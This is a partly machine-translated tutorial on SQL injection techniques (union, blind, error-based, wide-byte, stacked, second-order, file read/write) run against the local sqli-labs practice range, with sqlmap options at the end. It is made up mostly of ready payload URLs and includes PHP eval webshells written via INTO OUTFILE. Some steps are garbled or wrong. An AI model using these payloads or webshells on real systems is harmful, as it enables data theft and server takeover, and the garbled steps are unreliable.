Common SQL injection types and principles

Mysql basics

Mysql installation
Here we directly use mysql in the phpstudy integrated environment

Mysql commonly used commands
(1) mysql local connection

mysql -h localhost -uroot –proot

Parameter description
-h represents the database connection address, connect to this machine without filling in, directly mysql -uroot -p
-u represents the user to log in
-p represents the password to log in.
Default account/password: root/root
Note: When logging in to mysql, -p There can be no space and password after it, but -p space, no value after it is ok

(2) View all databases

show databases;

(3) When using a database, pay attention to adding a semicolon after the SQL statement

use 数据库名;

(4) View the tables in the current database

show tables;

(5) Check the field structure in the table without exploding the content

describe 表名;

(6) View all fields and content in the table (provided that the database has been used)

select * from 表名;

(7) Write peak.php to the designated directory, such as C:\WWW directory.

select "<?php @eval($_REQUEST[peak]);?>" into outfile "C:\\WWW\\peak.php";

or

select 0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e into outfile
"C:\\WWW\\peak.php";

Note:
To use two \ two \ to the target server after changes to a \, if used C: \ WWW \ peak.php, after the implementation will generate WWWpeak.php file in MYSQL \ data directory, specify the directory is not
another , Don’t add "" when using Hex encoding

(8) Create a database

create database peak;

(9) Delete the database

drop database 库名;

(10) Clear the table

delete from 表名;

(11) Modify the root password

mysqladmin -uroot -p password 新密码

After entering the original password, it will be modified successfully

(12) Query the directory where the current database is located

select @@basedir;

(13) Create a database

CREATE DATABASE [IF NOT EXISTS] <数据库名>

(14) Create a table

CREATE TABLE table_name (column_name column_type);

(15) Create a field

INSERT INTO users (字段名) VALUES (“字段值");

(16) Delete the data in the table

DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

Key information analysis
(1) information_schema

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

(2) Description of common parameters of information_schema database table:

• SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
• TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
• COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

sql-labs environment construction

Shooting range environment:
https://github.com/Audi-1/sqli-labs

Principles of SQL injection

What is SQL injection?
SQL injection means that an attacker destroys the structure of SQL query statements by injecting malicious SQL commands to achieve the purpose of executing malicious SQL statements. The harm of SQL injection vulnerabilities is huge, often causing the entire database to be "taken off". Nevertheless, SQL injection is still one of the most common Web vulnerabilities.

SQL injection steps
(1) Determine whether there is injection, whether the injection is character or numeric
(2) Guess the number of fields in the SQL query statement
(3) Determine which position fields can be injected and used
(4) Query the database (currently using the database or All databases)
(5) Query the table in the specified database
(6) Query the field name in the specified table
(7) Query the value of the field in the table

Common SQL injection types (subdivided into seven types)

SQL injection can be divided into two categories:
non-blind injection and blind injection. Non-blind injection means that there is an error response, and blind injection means that there is no error response.

Common SQL injection methods are:

  • Joint injection
  • Boolean blinds
  • Time blind
  • Wide byte injection
  • Error injection
  • Stack injection
  • Secondary injection

Numeric/character injection judgment
First, add single quotes after id to check if there may be SQL injection, return to normal, not exist; return to abnormal, exist

Assuming ip/?id=1

Number type, the parameter is not surrounded by quotation marks:
id=1 and 1=1 Return page is normal
id=1 and 1=2 Return page is abnormal
id=1' and '1'='1 Return page is abnormal
id=1' and '1'='2 The return page is abnormal.
Character type, the parameters are surrounded by quotation marks:
id=1 and 1=1 The return page is normal or error
id=1 and 1=2 The return page is normal or error
id=1' and '1' ='1 Return to the page is normal
id=1' and '1'='2 Return to the page is abnormal
. Two test methods are summarized:
and 1=1 is normal, 1=2 is abnormal, there may be digital injection/and 1=1 Normal or error, 1=2 normal or error, there may be character injection
' and '1'='1 is abnormal,' and '1'='2 is abnormal, there may be number line injection/' and '1'= '1 is normal,' and '1'='2 is abnormal, there may be character injection

0x01: Joint injection

Principle
(1) Union select definition
combines the results of multiple SELECT statements into one result set
(2) mysql intuitive test

SELECT * FROM users WHERE id='1' union select * from users where id=2;

Test environment
Pass-1

related functions

  • group_concat (parameter 1, parameter 2, parameter 3, etc. countless parameters) syntax: group_concat function returns a string result (that is, returns a row), the result is executed by each parameter value in the brackets and then connected and combined
  • char(): restore the ASCII code to characters

Injection process
1. First determine whether the target has SQL injection and what type of SQL injection is

http://127.0.0.1/sqli-labs/Less-1/?id=1                       //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1'	          //返回错误,可能存在SQL注入
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1        //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2        //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1       //返回错误
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2       //返回错误

由此可见,$id后面可能还有sql语句
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回错误
由此可见,目标存在sql注入,并且是字符型,该id变量后面还有其他的sql语句
此时我们看一下源码,是否是字符型

2. Test steps
(1) Use union select to guess the number of fields after select in the target SQL query statement, and at the same time measure which fields of the target can continue to be used

(2) Judgment method: Echoing error means more than the current number of fields, and echoing correct means that there are so many fields.
Payload: http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23
Note: and 1=2 here is to not display the correct id=1, return an error, and display The value of the union select statement later, because sometimes the target website settings only echo a database statement, it is easy to cause judgment errors.
Result: The number of fields after select in the SQL query statement is 3, and fields 2, 3 can be used.

(3) Payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

(4) Expansion
There is another method, order by to determine the number of fields

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 order by 1%23

Specific analysis of specific circumstances

0x02: Boolean blinds

The principle of the
Web page will only return True and False, then the Boolean blind injection is based on the True or False returned by the page to get the relevant information in the database

Test environment
Pass-8

Related function analysis
(1) length: the byte length of the return value of the string
(2) ascii: a function to convert characters into ascii code values
(3) substr(str, pos, len): starting from pos in str Position (starting position is 1), intercept len ​​characters
(4) count: a function recorded in the statistics table, return the number of rows matching the condition
(5) limit:
limit m: retrieve the first m rows of data, display 1-10 Row data (m>0)
limit(x,y): Retrieve y rows of data starting from x+1, and display data from x+1 to y

Injection process
1, determine the length of the database name

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23

2. Guess the database name

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23

3. Determine the number of tables in the database

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

4. Guess the length of the fourth table name

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

5. Guess the name of the fourth table

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
第四个表名为users

6. Determine the number of fields in the users table

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

7. Determine the length of the second field

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

8. Guess the name of the second field

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23
...
第二个字段名称为username
注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关

9. Guess the number of values ​​in the specified field

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23

10. Guess the length of the first value in the first field

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

11. Guess the name of the first value in the first field

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最后的值为Dumb

0x03: time blind

Principle
general idea time blind delayed injection, is the use of sleep () or Benchmark () functions such as the mysql execution time becomes long and combined judgment condition statement if (expr1, expr2, expr3)then the length to the response time of the page Determine whether the value returned by the statement is True or False, so as to guess some unknown fields

Test environment
Less-9

Related function
if(expr1,expr2,expr3): the value of expr1 is TRUE, the return value is expr2; the value of expr1 is FALSE, the return value is expr3
sleep(n): delay response time n seconds

Payload

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

0x04: wide byte injection

Principle
When there is wide byte injection, add %df%27 in the injection parameter, and then (%5c) can be eaten, that is, %df and %5c are combined into Chinese characters.

Test environment
Pass-32

Payload

http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

0x05: error injection

Principle
Error injection is to obtain information by using a special function incorrectly and making it output the wrong result.

Test environment
Pass-5

related functions

concat()函数:用于将多个字符串连接成一个字符串
floor(x) 函数:返回小于 x 的最大整数值
rand()函数调:用可以在0和1之间产生一个随机数
group by语句:根据一个或多个列对结果集进行分组
updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数,xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

Reference
https://blog.51cto.com/wt7315/1891458

0x05-1: Floor error injection

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

0x05-2: updatexml report error injection

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

0x05-3: Extractvalue error injection

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

0x06: Stack injection

Principle
Stacked injection is the opposite of the combined query method that is limited to select statements. Stacked injection can be used to execute arbitrary SQL statements. Simply put, it is MYSQL's multi-sentence query
. Limitations of stack injection: stack injection is not executable in any change environment. It may be restricted by API or database engine unsupported (such as Oracle database), or it may not have sufficient permissions. In the web system, because the code usually only returns one query result, the second sentence of the stack injection produces an error or the result can only be ignored, and we cannot see the returned result on the front-end interface.

Test environment
Pass-38

Payload

http://127.0.0.1/sqli-labs/Less-38/?id=1';create database peak%23

0x07: secondary injection

Principle The
secondary injection can be understood as the injection caused by the malicious data constructed by the attacker and stored in the database, the malicious data is read and entered into the SQL query statement. The defender may escape the special characters when the user enters the malicious data, but the processed data is restored and stored in the database when the malicious data is inserted into the database (for example, although the parameters will be added after filtering" "Escape, but "" will not be inserted into the database). When a Web program calls malicious data stored in the database and executes a SQL query, a secondary SQL injection occurs.
The second injection can be summarized as the following two steps:

Step 1: Insert malicious data
. When inserting data into the database, the special characters are escaped, and the original data is retained when writing to the database.

Step 2: Referencing malicious data The data
stored in the database by the developer is safe by default. When making a query, the malicious data is directly retrieved from the database without further inspection processing.

Insert picture description here


Test environment
Pass-24

Payload
(1) First create a user amin'# with comment characters
(2)Lookat the database and successfully add records
(3) Source SQL statement analysis:

原SQL语句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
修改密码sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最后真正执行的sql语句:UPDATE users SET PASSWORD=‘$pass’ where username='admin'

(4) Finally modify the password of admin'#
(5) Modify the password of admin successfully

SQL injection-file read and write

Principle
Use file read and write permissions to inject, it can write one-sentence Trojan horse, can also read sensitive information of system files

Use condition
secure_file_priv This parameter is used to restrict data import and export.
secure_file_priv=
represents no restriction on file reading and writing.
secure_file_priv=NULL
represents that file reading and writing cannot be performed.
secure_file_priv=F:
represents that only files under the path can be read and written.
Note
view method: show global variables like'%secure%';
Modification method: my.ini function, if not, add it directly

Related function
load_file(): read file
into outfile: write file

Test environment
Pass-1

Read file
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, load_file('F:\1.txt'), 3%23

Write file
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile'F:\2.php'%23

sqlmap common parameters

sqlmap download address
http://sqlmap.org/

Common parameters

-u:指定含有参数的URL
--dbs:爆出数据库
--batch:默认选择执行
--random-agent:使用随机user-agent
-r:POST注入
--level:注入等级,一共有5个等级(1-5) 不加 level 时,默认是1,5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢
--timeout:设定重试超时
--cookie:设置cookie信息
--flush-session:删除指定目标缓存,重新对该目标进行测试
--tamper:使用waf绕过脚本
--time-sec:设定延时时间,默认是5秒
--thread:多线程,默认为1,最大为10
--keep-live: sqlmap默认是一次连接成功后马上关闭;HTTP报文中相当于Connection: Close(一次连接马上关闭)。要扫描站点的URL比较多时,这样比较耗费性能,所以需要将HTTP连接持久化来提高扫描性能;HTTP报文相当于Connection: Keep-Alive

Example

py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --dbs --random-agent --batch